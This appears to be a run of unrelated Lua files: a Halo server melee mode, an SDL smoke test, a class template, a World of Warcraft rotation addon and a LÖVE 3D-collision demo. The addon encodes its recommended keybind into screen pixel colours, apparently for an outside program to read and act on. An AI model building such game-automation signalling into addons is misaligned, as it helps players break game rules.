"weapons\\flag\\flag", false }, [14] = { "weap", "weapons\\pistol\\pistol", false }, [15] = { "weap", "weapons\\shotgun\\shotgun", false }, [16] = { "weap", "weapons\\needler\\mp_needler", false }, [17] = { "weap", "weapons\\flamethrower\\flamethrower", false }, [18] = { "weap", "weapons\\plasma rifle\\plasma rifle", false }, [19] = { "weap", "weapons\\sniper rifle\\sniper rifle", false }, [20] = { "weap", "weapons\\plasma pistol\\plasma pistol", false }, [21] = { "weap", "weapons\\plasma_cannon\\plasma_cannon", false }, [22] = { "weap", "weapons\\assault rifle\\assault rifle", false }, [23] = { "weap", "weapons\\rocket launcher\\rocket launcher", false } }, -- Configuration [ends] << ---------- -- DO NOT TOUCH -- players = { } -- } function OnScriptLoad() register_callback(cb['EVENT_GAME_START'], "OnGameStart") OnGameStart() end function OnScriptUnload() -- N/A end function OnGameStart() if (get_var(0, "$gt") ~= "n/a") then if (get_var(0, "$ffa") ~= "0") then register_callback(cb['EVENT_TICK'], "OnTick") register_callback(cb['EVENT_DIE'], "OnPlayerDeath") register_callback(cb['EVENT_SPAWN'], "OnPlayerSpawn") register_callback(cb['EVENT_JOIN'], "OnPlayerConnect") register_callback(cb['EVENT_LEAVE'], "OnPlayerDisconnect") register_callback(cb['EVENT_WEAPON_DROP'], "OnWeaponDrop") register_callback(cb['EVENT_OBJECT_SPAWN'], "OnObjectSpawn") execute_command("disable_all_vehicles 0 1") execute_command("scorelimit " .. Melee.scorelimit) for i = 1, 16 do if player_present(i) then Melee:CleanUpDrones(i, false) Melee:InitPlayer(i, false) end end else unregister_callback(cb['EVENT_DIE']) unregister_callback(cb['EVENT_TICK']) unregister_callback(cb['EVENT_JOIN']) unregister_callback(cb['EVENT_LEAVE']) unregister_callback(cb['EVENT_SPAWN']) unregister_callback(cb['EVENT_WEAPON_DROP']) unregister_callback(cb['EVENT_OBJECT_SPAWN']) end end end function OnPlayerConnect(Ply) Melee:InitPlayer(Ply, false) end function OnPlayerDisconnect(Ply) Melee:InitPlayer(Ply, true) end function Melee:InitPlayer(Ply, Reset) if (not Reset) then self.players[Ply] = { assign = false, drones = {} } else self:CleanUpDrones(Ply, false) end end function Melee:OnTick() for i, v in pairs(self.players) do if player_present(i) and player_alive(i) then if (v.assign) then v.assign = false execute_command("nades " .. i .. " 0") execute_command("wdel " .. i) local DyN = get_dynamic_player(i) if (DyN ~= 0) then local x, y, z = read_vector3d(DyN + 0x5C) local weapon = spawn_object("weap", self.objects[self.weapon][2], x, y, z) assign_weapon(weapon, i) table.insert(v.drones, weapon) end end end end end function OnPlayerSpawn(Ply) Melee.players[Ply].assign = true end function OnPlayerDeath(Victim) local DyN = get_dynamic_player(Victim) local WeaponID = read_dword(DyN + 0x118) if (WeaponID ~= 0) then for j = 0, 3 do destroy_object(read_dword(DyN + 0x2F8 + j * 4)) end end end function Melee:CleanUpDrones(Ply, Assign) for _, weapon in pairs(self.players[Ply].drones) do if (weapon) then destroy_object(weapon) end end if (Assign) then self.players[Ply].assign = true else self.players[Ply] = nil end end function OnWeaponDrop(Ply) Melee:CleanUpDrones(Ply, true) end local function GetTag(obj_type, obj_name) local tag = lookup_tag(obj_type, obj_name) return tag ~= 0 and read_dword(tag + 0xC) or nil end function OnObjectSpawn(_, MapID, _, _) for _, v in pairs(Melee.objects) do if (MapID == GetTag(v[1], v[2])) and (not v[3]) then return false end end end function OnTick() return Melee:OnTick() end
--------------------------------------------------------------------------------------------------- -- User story: Smoke -- Use case: RegisterAppInterface -- Item: Happy path -- -- Requirement summary: -- [RegisterAppInterface] SUCCESS: getting SUCCESS:RegisterAppInterface() during reregistration -- -- Description: -- Mobile application sends valid RegisterAppInterface request after unregistration and -- gets RegisterAppInterface "SUCCESS" response from SDL -- Pre-conditions: -- a. HMI and SDL are started -- b. appID is registered and activated on SDL -- c. appID is currently in Background, Full or Limited HMI level -- Steps: -- appID requests RegisterAppInterface -- Expected: -- SDL checks if RegisterAppInterface is allowed by Policies -- SDL sends the BasicCommunication notification to HMI -- SDL responds with (resultCode: SUCCESS, success:true) to mobile application --------------------------------------------------------------------------------------------------- --[[ Required Shared libraries ]] local runner = require('user_modules/script_runner') local commonSmoke = require('test_scripts/Smoke/commonSmoke') --[[ Local Variables ]] local requestParams = { syncMsgVersion = { majorVersion = 2, minorVersion = 2, }, appName = "SyncProxyTester", ttsName = { { text ="SyncProxyTester", type ="TEXT", }, }, ngnMediaScreenAppName = "SPT", vrSynonyms = { "VRSyncProxyTester", }, isMediaApplication = true, languageDesired = "EN-US", hmiDisplayLanguageDesired = "EN-US", appHMIType = { "DEFAULT", }, appID = "123", fullAppID = "123456", deviceInfo = { hardware = "hardware", firmwareRev = "firmwareRev", os = "os", osVersion = "osVersion", carrier = "carrier", maxNumberRFCOMMPorts = 5 } } local function SetNotificationParams() local notificationParams = { application = {} } notificationParams.application.appName = requestParams.appName notificationParams.application.ngnMediaScreenAppName = requestParams.ngnMediaScreenAppName notificationParams.application.isMediaApplication = requestParams.isMediaApplication notificationParams.application.hmiDisplayLanguageDesired = requestParams.hmiDisplayLanguageDesired notificationParams.application.appType = requestParams.appHMIType notificationParams.application.deviceInfo = { name = commonSmoke.getDeviceName(), id = commonSmoke.getDeviceMAC(), transportType = "WIFI", isSDLAllowed = true } notificationParams.application.policyAppID = requestParams.fullAppID notificationParams.ttsName = requestParams.ttsName notificationParams.vrSynonyms = requestParams.vrSynonyms return notificationParams end --[[ Local Functions ]] local function unregisterAppInterface(self) local cid = self.mobileSession1:SendRPC("UnregisterAppInterface", { }) EXPECT_HMINOTIFICATION("BasicCommunication.OnAppUnregistered", { appID = commonSmoke.getHMIAppId(), unexpectedDisconnect = false }) self.mobileSession1:ExpectResponse(cid, { success = true, resultCode = "SUCCESS" }) end local function RegisterAppInterface(self) local CorIdRAI = self.mobileSession1:SendRPC("RegisterAppInterface", requestParams) local notificationParams = SetNotificationParams() EXPECT_HMINOTIFICATION("BasicCommunication.OnAppRegistered", notificationParams) self.mobileSession1:ExpectResponse(CorIdRAI, { success = true, resultCode = "SUCCESS" }) self.mobileSession1:ExpectNotification("OnHMIStatus", { hmiLevel = "NONE", audioStreamingState = "NOT_AUDIBLE", systemContext = "MAIN" }) self.mobileSession1:ExpectNotification("OnPermissionsChange") end --[[ Scenario ]] runner.Title("Preconditions") runner.Step("Clean environment", commonSmoke.preconditions) runner.Step("Start SDL, HMI, connect Mobile, start Session", commonSmoke.start) runner.Step("RAI", commonSmoke.registerApp) runner.Step("Activate App", commonSmoke.activateApp) runner.Step("UnregisterAppInterface Positive Case", unregisterAppInterface) runner.Title("Test") runner.Step("RegisterAppInterface Positive Case", RegisterAppInterface) runner.Title("Postconditions") runner.Step("Stop SDL", commonSmoke.postconditions)
-- -- $(Class) class. -- -- @filename $(Class).lua -- @copyright Copyright (c) 2015 Yaukey/yaukeywang/WangYaoqi (yaukeywang@gmail.com) all rights reserved. -- @license The MIT License (MIT) -- @author Yaukey yaukeywang@gmail.com -- @date 2016-xx-xx -- local DLog = YwDebug.Log local DLogWarn = YwDebug.LogWarning local DLogError = YwDebug.LogError -- Register new class $(Class). local strClassName = "$(Class)" local $(Class) = YwDeclare(strClassName, YwClass(strClassName, YwMonoBehaviour)) -- Member variables. -- Constructor. function $(Class):ctor() --print("$(Class):ctor") end -- Destructor. function $(Class):dtor() --print("$(Class):dtor") end -- Awake method. function $(Class):Awake() --print("$(Class):Awake") -- Check variable. if (not self.this) or (not self.transform) or (not self.gameObject) then DLogError("Init error in $(Class)!") return end end -- Start method. function $(Class):Start() --print("$(Class):Start") end -- Update method. function $(Class):Update() --print("$(Class):Update") end -- Late update method. function $(Class):LateUpdate() --print("$(Class):LateUpdate") end -- Fixed update method. function $(Class):FixedUpdate() --print("$(Class):FixedUpdate") end -- Lite update method. function $(Class):LiteUpdate() --print("$(Class):LiteUpdate") end -- On destroy method. function $(Class):OnDestroy() --print("$(Class):OnDestroy") end -- Return this class. return $(Class)
render = function(delta) return 0 end
dna = LibStub("AceAddon-3.0"):NewAddon("dna","AceConsole-3.0","AceEvent-3.0","AceTimer-3.0","AceComm-3.0","AceHook-3.0") dna.lib_acegui = LibStub("AceGUI-3.0") --dna.LibSimcraftParser = LibStub("LibSimcraftParser") dna.D = {} -- General data table to hold stuff dna.ui = {} -- UI table dna.ElvUI = nil local L = LibStub("AceLocale-3.0"):GetLocale("dna") local addon = ... BINDING_HEADER_dna = GetAddOnMetadata(..., "Title"); if ( ElvUI ) then local EP = LibStub("LibElvUIPlugin-1.0") dna.ElvUI = unpack(ElvUI); dna.D.ElvUI = dna.ElvUI:NewModule('dna') dna.ElvUI:RegisterModule(dna.D.ElvUI:GetName()) dna.D.ElvUI.Initialize = function() LibStub("LibElvUIPlugin-1.0"):RegisterPlugin(addon, dna.D.ElvUI.AddOptionMenu) end end function dna:ProcessSlashCommand(commandargs) if (dna.IsBlank(commandargs)) then if ( dna.ui.fMain and dna.ui.fMain:IsShown() ) then dna.ui.fMain:Hide() else dna.ui.CreateMainFrame() end elseif (commandargs=="debug") then dna:CreateDebugFrame() elseif (commandargs=="help") then print( L["common/help"] ) else dna.ui.SelectRotation(commandargs, false) end end function dna:OnInitialize() local tDefaults = { global = { treeMain = { { value = "dna.CreateOptionsPanel()", text = L["maintree/options"], icon = "Interface\\Icons\\INV_Misc_Gear_01", }, { value = "dna.CreateListsPanel()", text = L["maintree/lists"], icon = "Interface\\Icons\\TRADE_ARCHAEOLOGY_HIGHBORNE_SCROLL", children = {}, }, { value = "dna.CreateRotationsPanel()", text = L["maintree/rotations"], icon = "Interface\\PaperDollInfoFrame\\UI-GearManager-Undo", children = {}, }, }, }, } dna.DB = LibStub("AceDB-3.0"):New("dna_ace_db", tDefaults ) dna.DB:RegisterDefaults( tDefaults ) end function dna:OnEnable() -- Initialize data dna.D.Prefix = 'dna' --Addon communications channel prefix dna.D.Specs = {} --Specializations dna.D.SpellInfo = {} --Table to hold information about spells ex: ticktimes, traveltimes, base duration dna.D.PlayerCastHistory = {} --Table to hold player casted spell names dna.D.PetCastHistory = {} --Table to hold pet casted spell names -- dna.D.tExternalFrames = {} --Table of external frames to find keybindings dna.D.tAsciiKeyBits = {} --Table of ascii key bits dna.D.ImportType = nil --The type of import rotation or actionpack dna.D.ImportVersion = nil --The version the import was created in dna.D.ImportName = nil --Name of the import could be rotation / action pack dna.D.ImportIndex = nil --The index of the action pack table insert -- dna.D.DamageTakenIndex = 1 --The index of dna.D.P["DAMAGE_TAKEN"] -- dna.D.DamageTakenMaxHits = 100 --Maximum number of dna.D.P["DAMAGE_TAKEN"] hits to track dna.D.DebugTimerStart = debugprofilestop() --Initialize debug timer -- dna.D.nLastSpecSwitchTime = 0 dna.D.damageInLast5Seconds = 0 dna.D.damageAmounts = {} dna.D.damageTimestamps = {} dna.D.UpdateMode = 0 --0=create new names for existing objects do not update --1=update existing objects --3=Abort updates if objects already exist + do not create if object does not exist dna.D.GCDTime = 1.5 dna.D.PClass = select(2, UnitClass("player") ) --Save the tree keys for short syntax lookup, we may chose to add more menus to the main tree later on dna.D.OTK = dna:SearchTable(dna.DB.global.treeMain, "value", "dna.CreateOptionsPanel()") --Options Tree Key dna.D.OTM = dna.DB.global.treeMain[dna.D.OTK] --Options Tree main if not dna.D.OTM[dna.D.PClass] then dna.D.OTM[dna.D.PClass] = {} end dna.D.LTK = dna:SearchTable(dna.DB.global.treeMain, "value", "dna.CreateListsPanel()") --Lists Tree Key dna.D.LTM = dna.DB.global.treeMain[dna.D.LTK] --Lists tree main dna.D.LTMC = dna.DB.global.treeMain[dna.D.LTK].children --Lists tree main children dna.D.RTK = dna:SearchTable(dna.DB.global.treeMain, "value", "dna.CreateRotationsPanel()") --Rotations Tree Key dna.D.RTM = dna.DB.global.treeMain[dna.D.RTK] --Rotations tree main dna.D.RTMC = dna.DB.global.treeMain[dna.D.RTK].children --Rotations tree main children -- Clear out NPC spells every reload so it doesnt get too big local nListKey = select(2, dna.AddList("NPC_INTERRUPTABLE", false, false)) tremove(dna.D.LTMC, nListKey) nListKey = select(2, dna.AddList("NPC_OTHER", false, false)) tremove(dna.D.LTMC, nListKey) dna.D.P={} --Custom player tracked data for use in criteria dna.D.ResetDebugTimer=function() dna.D.DebugTimerStart = debugprofilestop() end dna.D.GetDebugTimerElapsed=function(minElapsed) local lReturn = ( debugprofilestop()-dna.D.DebugTimerStart ) if ( lReturn > ( minElapsed or 0 ) ) then -- print(format(" E: %f ms:", elapsedTime)..tostring(suffix) ) else lReturn = 0 end return lReturn end dna.D.RunCode=function( code, lseprefix, pcalleprefix, ShowLSErrors, ShowPCErrors ) --lseprefix = loadstring error print message prefix --lsegui = loadstring error gui message --pcalleprefix = pcall error prefix local func, errorMessage = loadstring(code) if( not func ) then if ( ShowLSErrors ) then print( lseprefix..errorMessage ) if ( dna.ui.fMain and dna.ui.fMain:IsShown() ) then dna.ui.fMain:SetStatusText( lseprefix..errorMessage ) end end return 1 end success, errorMessage = pcall(func); -- Call the function we loaded if( not success ) then if ( ShowPCErrors ) then print(pcalleprefix..errorMessage) end return 1 end return 0 end dna.D.Threads = {} dna.D.binds = {} dna.D.visibleNameplates = {} dna.D.DebuffExclusions = { -- Ignore these debbuffs for debuff type checking [GetSpellInfo(15822)] = true, -- Dreamless Sleep [GetSpellInfo(24360)] = true, -- Greater Dreamless Sleep [GetSpellInfo(28504)] = true, -- Major Dreamless Sleep [GetSpellInfo(24306)] = true, -- Delusions of Jin'do [GetSpellInfo(46543)] = true, -- Ignite Mana [GetSpellInfo(16567)] = true, -- Tainted Mind [GetSpellInfo(39052)] = true, -- Sonic Burst [GetSpellInfo(30129)] = true, -- Charred Earth - Nightbane debuff, can't be cleansed, but shows as magic [GetSpellInfo(31651)] = true, -- Banshee Curse, Melee hit rating debuff [GetSpellInfo(124275)] = true, -- Light Stagger, cant be cured } dna.D.InitCriteriaClassTree() -- Initialize the class criteria and default rotations if ( dna.IsBlank(dna.D.OTM[dna.D.PClass].selectedrotation) ) then self:SetRotationForCurrentSpec() -- Select the rotation that matches the current specialization or talentgroup else dna.ui.SelectRotation(dna.D.OTM[dna.D.PClass].selectedrotation, false) -- Select the last loaded rotation end -- dna.fSetTopLevelFrame=function(frmName) -- frmName:SetToplevel(true) -- frmName:SetFrameLevel(300) -- frmName:SetFrameLevel(300) -- frmName:SetFrameLevel(300) -- end -- Create debug frames for nIndex=0,5 do dna["frmPixel"..nIndex] = CreateFrame("Frame","dna.frmPixel"..nIndex,UIParent) dna["frmPixel"..nIndex]:ClearAllPoints() dna["frmPixel"..nIndex]:SetPoint("TOPLEFT",0,(0-nIndex)) dna["frmPixel"..nIndex]:SetFrameStrata("TOOLTIP") dna["frmPixel"..nIndex]:SetWidth(1) dna["frmPixel"..nIndex]:SetHeight(1) dna["frmPixel"..nIndex]:SetToplevel(true) dna["frmPixel"..nIndex]:SetFrameLevel(128) dna["frmPixel"..nIndex]:Show() dna["txrPixel"..nIndex] = dna["frmPixel"..nIndex]:CreateTexture(dna["txrPixel"..nIndex], 'OVERLAY') dna["txrPixel"..nIndex]:ClearAllPoints() dna["txrPixel"..nIndex]:SetAllPoints(dna["frmPixel"..nIndex]) dna["txrPixel"..nIndex]:SetColorTexture(0,0,0,1) end dna.frmRunning = CreateFrame("Frame","dna.frmRunning",UIParent); dna.frmRunning:ClearAllPoints(); dna.frmRunning:SetPoint("CENTER", UIParent, "CENTER") dna.frmRunning:SetFrameStrata("TOOLTIP") dna.frmRunning:SetWidth(32); dna.frmRunning:SetHeight(32); dna.frmRunning:SetToplevel(true) dna.frmRunning:SetFrameLevel(128) dna.frmRunning:EnableMouse(false) dna.frmRunning:Show() dna.frmRunning:SetAlpha(1) dna.txrRunning = dna.frmRunning:CreateTexture('dna.txrRunning', 'OVERLAY') dna.txrRunning:ClearAllPoints() dna.txrRunning:SetAllPoints(dna.frmRunning) dna.txrRunning:SetWidth(32); dna.txrRunning:SetHeight(32); dna.txrRunning:SetTexture([[Interface\RAIDFRAME\ReadyCheck-Ready]]) -- Highest keybind text dna.fsHighestKeybind = dna.frmRunning:CreateFontString("dna.fsHighestKeybind", 'BACKGROUND') dna.fsHighestKeybind:ClearAllPoints() dna.fsHighestKeybind:SetPoint("CENTER", dna.frmRunning, "CENTER", 0, -40) dna.fsHighestKeybind:SetFont("Fonts\\FRIZQT__.TTF", 14) dna.fsHighestKeybind:SetSize(17, 17) dna.fsHighestKeybind:SetShadowOffset(2,-2) dna.fsHighestKeybind:SetTextColor(1, 1, 1, 1) -- Out of range texts dna.fsMeleeRange = dna.frmRunning:CreateFontString("dna.fsMeleeRange", 'BACKGROUND') dna.fsMeleeRange:ClearAllPoints() dna.fsMeleeRange:SetPoint("BOTTOMLEFT", dna.frmRunning, "BOTTOMLEFT", -16, 0); dna.fsMeleeRange:SetFont("Fonts\\FRIZQT__.TTF", 14) dna.fsMeleeRange:SetSize(17, 17) dna.fsMeleeRange:SetShadowOffset(2,-2) dna.fsMeleeRange:SetTextColor(1, 0, 0, 1) dna.fsRange = dna.frmRunning:CreateFontString("dna.fsRange", 'BACKGROUND') dna.fsRange:ClearAllPoints() dna.fsRange:SetPoint("BOTTOMLEFT", dna.frmRunning, "BOTTOMLEFT", -16, 16); dna.fsRange:SetFont("Fonts\\FRIZQT__.TTF", 14) dna.fsRange:SetSize(17, 17) dna.fsRange:SetShadowOffset(2,-2) dna.fsRange:SetTextColor(1, 0, 0, 1) dna.fSetPixelColors=function() key1, key2 = GetBindingKey("dna Toggle") if (not key1) then for nIndex=0,5 do dna["frmPixel"..nIndex]:Hide() end return else for nIndex=0,5 do dna["frmPixel"..nIndex]:Show() end end -- Convert the strPassingActionKeyBind from the engine into a numeric ASCII code if dna.IsBlank(dna.strPassingActionKeyBind) then dna.nPassingActionASCII = 0 else for nASCII=33,127 do if string.char(nASCII) == string.lower(dna.strPassingActionKeyBind) then dna.nPassingActionASCII = nASCII break end end end if dna.D.OTM[dna.D.PClass].bShowHighestKeybind then dna.fsHighestKeybind:SetText(dna.strPassingActionKeyBind) else dna.fsHighestKeybind:SetText("") end if dna.nPassingActionASCII ~= dna.D.nLastPassingActionASCII then dna.D.nLastPassingActionASCII = dna.nPassingActionASCII end -- Set Addon Black texture 0 dna.txrPixel0:SetColorTexture(0, 0, 0, 1) -- Set Buffer texture 1 dna.txrPixel1:SetColorTexture(0, 0, 0, 1) -- Set ASCII texture 2 dna.txrPixel2:SetColorTexture((dna.nPassingActionASCII/255), 0, 0, 1) -- Set Buffer texture 3 dna.txrPixel3:SetColorTexture(0, 0, 0, 1) -- Set texture 4 if dna.nEnabled0Off1On == 1 then dna.txrPixel4:SetColorTexture(1, 1, 1, 1) -- enabled else dna.txrPixel4:SetColorTexture(0, 0, 0, 1) -- disabled end -- Set Buffer texture 5 dna.txrPixel5:SetColorTexture(0, 0, 0, 1) -- The engine can fire before the frame is created so ensure frame is created if not dna.frmRunning then return end -- Show or hide the green checkmark enabled texture if dna.nEnabled0Off1On == 1 then dna.txrRunning:SetAlpha(1) -- Show green checkmark else dna.txrRunning:SetAlpha(0) -- Hide green checkmark end -- set the fsMeleeRange text local meleeRangeText = "" if ( dna.D.RTMC[dna.nSelectedRotationTableIndex] and dna.IsBlank(dna.D.RTMC[dna.nSelectedRotationTableIndex].meleespell) == false and UnitExists("target") ) then -- User has input for spell to check local spellInRange = dna.GetSpellInRangeOfUnit( dna.D.RTMC[dna.nSelectedRotationTableIndex].meleespell, "target") local itemInRange = dna.GetItemInRangeOfUnit( dna.D.RTMC[dna.nSelectedRotationTableIndex].meleespell, "target") if ( spellInRange or itemInRange ) then meleeRangeText = "" else meleeRangeText = "M" end end dna.fsMeleeRange:SetText(meleeRangeText) -- set the fsRange text if ( dna.D.RTMC[dna.nSelectedRotationTableIndex] and dna.IsBlank(dna.D.RTMC[dna.nSelectedRotationTableIndex].rangespell) == false and dna.GetSpellInRangeOfUnit( dna.D.RTMC[dna.nSelectedRotationTableIndex].rangespell, "target") == false and UnitExists("target") ) then dna.fsRange:SetText("R") -- OOR show a R for range else dna.fsRange:SetText("") -- In range for range spell hide the R end end -- loadstring all action criteria dna.fLoadCriteriaStrings = function() for nRotationKey, tRotation in pairs(dna.D.RTMC) do if tRotation.strClass == dna.D.PClass then for nActionKey, tAction in pairs(tRotation.children) do local strCode = tAction.criteria local script = nil local strSyntaxError = nil if tAction.fCriteria == nil then if (string.find( strCode or "", '--_dna_enable_lua' ) ) then script, strSyntaxError = loadstring(strCode or "return false") else script, strSyntaxError = loadstring('return '..(strCode or "false")) end if script ~= nil then tAction.fCriteria = script else tAction.fCriteria = nil dna:dprint("fLoadCriteriaStrings Syntax error in:\n".. "|cffF95C25RotationName:|r"..tostring(tRotation.text).."\n".. "|cffF95C25ActionName:|r"..tostring(tAction.text).."\n".. "|cffF95C25Error:|r"..tostring(strSyntaxError)) end end end end end end dna.fLoadCriteriaStrings() -- set the initial pixel stuff after all the functions have been loaded dna.nEnabled0Off1On = 0 dna.fToggle = function(strKeyState) if tostring(strKeyState) == 'up' then if dna.nEnabled0Off1On == 1 then dna.nEnabled0Off1On = 0 else dna.nEnabled0Off1On = 1 end end end dna.bEngineReady = true -- function to toggle toggles on/off dna.bToggle = {} dna.ToggleNumber = function(nToggleNumber) dna.bToggle[nToggleNumber] = (not dna.bToggle[nToggleNumber]) end -- LDB Menu setup if (LibStub and LibStub:GetLibrary('LibDataBroker-1.1', true)) then dna.D.LDB = LibStub:GetLibrary('LibDataBroker-1.1'):NewDataObject(L["common/dna"], { type = 'data source', text = L["common/dna"], icon = 'Interface\\AddOns\\dna\\Textures\\dna_icon32', OnClick = dna.ui.MenuOnClick, OnTooltipShow = function(tooltip) if not tooltip or not tooltip.AddLine then return end tooltip:AddLine(L["common/dna"]) tooltip:AddLine(L["common/LDB/tt1"]) tooltip:AddLine(L["common/LDB/tt2"]) tooltip:AddLine(L["common/LDB/tt3"]) tooltip:AddLine(L["common/LDB/tt4"]) end, }) end dna:RegisterChatCommand("dna", "ProcessSlashCommand") dna:RegisterComm(dna.D.Prefix) dna:RegisterEvent("PLAYER_ENTERING_WORLD", "PLAYER_ENTERING_WORLD") dna:RegisterEvent("UNIT_AURA", "UNIT_AURA") dna:RegisterEvent("UNIT_SPELLCAST_START", "UNIT_SPELLCAST_START") dna:RegisterEvent("UNIT_SPELLCAST_CHANNEL_START", "UNIT_SPELLCAST_START") dna:RegisterEvent("UNIT_SPELLCAST_SUCCEEDED", "UNIT_SPELLCAST_SUCCEEDED") dna:RegisterEvent("ACTIVE_TALENT_GROUP_CHANGED", "ACTIVE_TALENT_GROUP_CHANGED") dna:RegisterEvent("COMBAT_LOG_EVENT_UNFILTERED", "COMBAT_LOG_EVENT_UNFILTERED") dna:RegisterEvent("PLAYER_REGEN_ENABLED", "PLAYER_REGEN_ENABLED") dna:RegisterEvent("PLAYER_REGEN_DISABLED", "PLAYER_REGEN_DISABLED") dna:RegisterEvent("NAME_PLATE_UNIT_ADDED", "NAME_PLATE_UNIT_ADDED"); dna:RegisterEvent("NAME_PLATE_UNIT_REMOVED", "NAME_PLATE_UNIT_REMOVED"); self.tEngine = self:ScheduleRepeatingTimer("fEngineOnTimer", .1) end
local bump3dpd = require 'bump-3dpd' local seed = os.time() print('Seeding RNG with: ' .. seed) math.randomseed(seed) io.stdout:setvbuf("no") -- Enable console output. local isDrawConsole = false local collisionsThisTick = 0 local world = bump3dpd.newWorld() local playerHeight = 25 local player = { name = 'player', x = 50, y = 50, z = -playerHeight, w = 20, h = 20, d = playerHeight, zVelocity = 0, speed = 140, jump = 375, gravity = 750, color = { r = 0, g = 255, b = 0, }, } local consoleBuffer = {} local consoleBufferSize = 15 for i = 1, consoleBufferSize do consoleBuffer[i] = '' end local function addBlock(x,y,z,w,h,d) local block = { name = 'block', color = { r = 255, g = 0, b = 0, }, } world:add(block, x,y,z,w,h,d) return block end function love.load() world:add(player, player.x, player.y, player.z, player.w, player.h, player.d) -- Add floor. local floor = addBlock(0, 0, 0, 800, 600, 5) floor.invisible = true -- Add walls around the edge. addBlock( 0, 0, -20, 800-32, 32, 20) addBlock(800-32, 0, -20, 32, 600-32, 20) addBlock( 32, 600-32, -20, 800-32, 32, 20) addBlock( 0, 32, -20, 32, 600-32, 20) -- Add 30 random blocks. No intersection. for i=1,30 do local verticalMagnitude = math.random(10, 100) local x = math.random(100, 600) local y = math.random(100, 400) local z = verticalMagnitude * -1 local w = math.random(10, 100) local h = math.random(10, 100) local d = verticalMagnitude local items = world:queryCube(x, y, z, w, h, d) if #items == 0 then addBlock(x, y, z, w, h, d) end end end local function consolePrint(msg) table.remove(consoleBuffer,1) consoleBuffer[consoleBufferSize] = msg end local function updatePlayer(dt) local dx, dy = 0, 0 -- Walking if love.keyboard.isDown('right') then dx = player.speed * dt end if love.keyboard.isDown('left') then dx = -player.speed * dt end if love.keyboard.isDown('down') then dy = player.speed * dt end if love.keyboard.isDown('up') then dy = -player.speed * dt end -- Jumping local isOnGround = player.zVelocity == 0 if isOnGround and love.keyboard.isDown('space') then player.zVelocity = player.jump * -1 end -- Apply gravity. player.zVelocity = player.zVelocity + player.gravity * dt if dx ~= 0 or dy ~= 0 or player.zVelocity ~= 0 then local cols player.x, player.y, player.z, cols, collisionsThisTick = world:move( player, player.x + dx, player.y + dy, player.z + player.zVelocity * dt ) for i=1, collisionsThisTick do local col = cols[i] consolePrint(("col.other = %s, col.type = %s, col.normal = %d,%d,%d"):format( col.other, col.type, col.normal.x, col.normal.y, col.normal.z )) if col.normal.z ~= 0 then player.zVelocity = 0 end end end end local memoryTotalLastFrame = 0 local memoryChangeThisFrame = 0 local function calculateMemoryChangeThisFrame() local memoryTotalThisFrame = collectgarbage("count") memoryChangeThisFrame = memoryTotalThisFrame - memoryTotalLastFrame memoryTotalLastFrame = memoryTotalThisFrame end function love.update(dt) collisionsThisTick = 0 if love.keyboard.isDown('lshift') or love.keyboard.isDown('rshift') then dt = dt / 100 end updatePlayer(dt) calculateMemoryChangeThisFrame() end local function drawPlayerShadow() local color = player.color love.graphics.setColor(color.r * 0.15, color.g * 0.15, color.b * 0.15) local x,y,_,w,h,_ = world:getCube(player) love.graphics.rectangle("fill", x, y, w, h) end -- Z-Sorting algorithm implementation was largely informed by this excellent blog post: -- http://andrewrussell.net/2016/06/how-2-5d-sorting-works-in-river-city-ransom-underground/ local getZSortedItems do -- We use the original, 2d version of bump.lua in order to detect which items -- overlap when painting the world. -- https://github.com/kikito/bump.lua local bump2d = require 'demolibs.bump' -- Topological sorting library. -- https://github.com/bungle/lua-resty-tsort local tsort = require 'demolibs.tsort' local world2d = bump2d.newWorld() getZSortedItems = function() -- Add or update draw positions of all visible items. for _, item in ipairs(world:getItems()) do if item.invisible ~= true then local x,y,z,w,h,d = world:getCube(item) if world2d:hasItem(item) then world2d:update(item, x, y + z) else world2d:add(item, x, y + z, w, h + d) end end end local graph = tsort.new() local noOverlap = {} -- Iterate through all visible items, and calculate ordering of all pairs -- of overlapping items. -- TODO: Each pair is calculated twice currently. Maybe this is slow? for _, itemA in ipairs(world2d:getItems()) do repeat local x, y, w, h = world2d:getRect(itemA) local otherItemsFilter = function(other) return other ~= itemA end local overlapping, len = world2d:queryRect(x, y, w, h, otherItemsFilter) if len == 0 then table.insert(noOverlap, itemA) break end local _, aY, aZ, _, aH, aD = world:getCube(itemA) for _, itemB in ipairs(overlapping) do local _, bY, bZ, _, bH, bD = world:getCube(itemB) if aZ + aD <= bZ then -- item A is completely above item B graph:add(itemB, itemA) elseif bZ + bD <= aZ then -- item B is completely above item A graph:add(itemA, itemB) elseif aY + aH <= bY then -- item A is completely behind item B graph:add(itemA, itemB) elseif bY + bH <= aY then -- item B is completely behind item A graph:add(itemB, itemA) elseif aY + aZ + aH + aD >= bY + bZ + bH + bD then -- item A's forward-most point is in front of item B's forward-most point graph:add(itemB, itemA) else -- item B's forward-most point is in front of item A's forward-most point graph:add(itemA, itemB) end end until true end local sorted, err = graph:sort() if err then error(err) end for _, item in ipairs(noOverlap) do table.insert(sorted, item) end return sorted end end local function drawItem(item) if item.invisible == true then return end local setAlpha = function(alpha) love.graphics.setColor( item.color.r * alpha, item.color.g * alpha, item.color.b * alpha ) end local x,y,z,w,h,d = world:getCube(item) -- Front Side setAlpha(0.3) love.graphics.rectangle("fill", x, y + z + h, w, d) setAlpha(1) love.graphics.rectangle("line", x, y + z + h, w, d) -- Top setAlpha(0.5) love.graphics.rectangle("fill", x, y + z, w, h) setAlpha(1) love.graphics.rectangle("line", x, y + z, w, h) end local drawWorld = function() drawPlayerShadow() for _, item in ipairs(getZSortedItems()) do drawItem(item) end end local INSTRUCTIONS = [[ bump-3dpd simple demo arrows: move space: jump tab: toggle console info delete: run garbage collector ]] local function drawInstructions() love.graphics.setColor(255, 255, 255) love.graphics.print(INSTRUCTIONS, 550, 10) end local function drawDebug() local statistics = ("fps: %d, mem: %dKB, mem/frame: %.3fKB, collisions: %d, items: %d"):format( love.timer.getFPS(), collectgarbage("count"), memoryChangeThisFrame, collisionsThisTick, world:countItems(), player.x, player.y, player.z ) love.graphics.setColor(255, 255, 255) love.graphics.printf(statistics, 0, 580, 790, 'right') end local function drawConsole() for i = 1, consoleBufferSize do love.graphics.setColor(255,255,255, i*255/consoleBufferSize) love.graphics.printf(consoleBuffer[i], 10, 580-(consoleBufferSize - i)*12, 790, "left") end end function love.draw() drawWorld() drawInstructions() drawDebug() if isDrawConsole then drawConsole() end end function love.keypressed(k) if k == "escape" then love.event.quit() end if k == "tab" then isDrawConsole = not isDrawConsole end if k == "delete" then collectgarbage("collect") end end
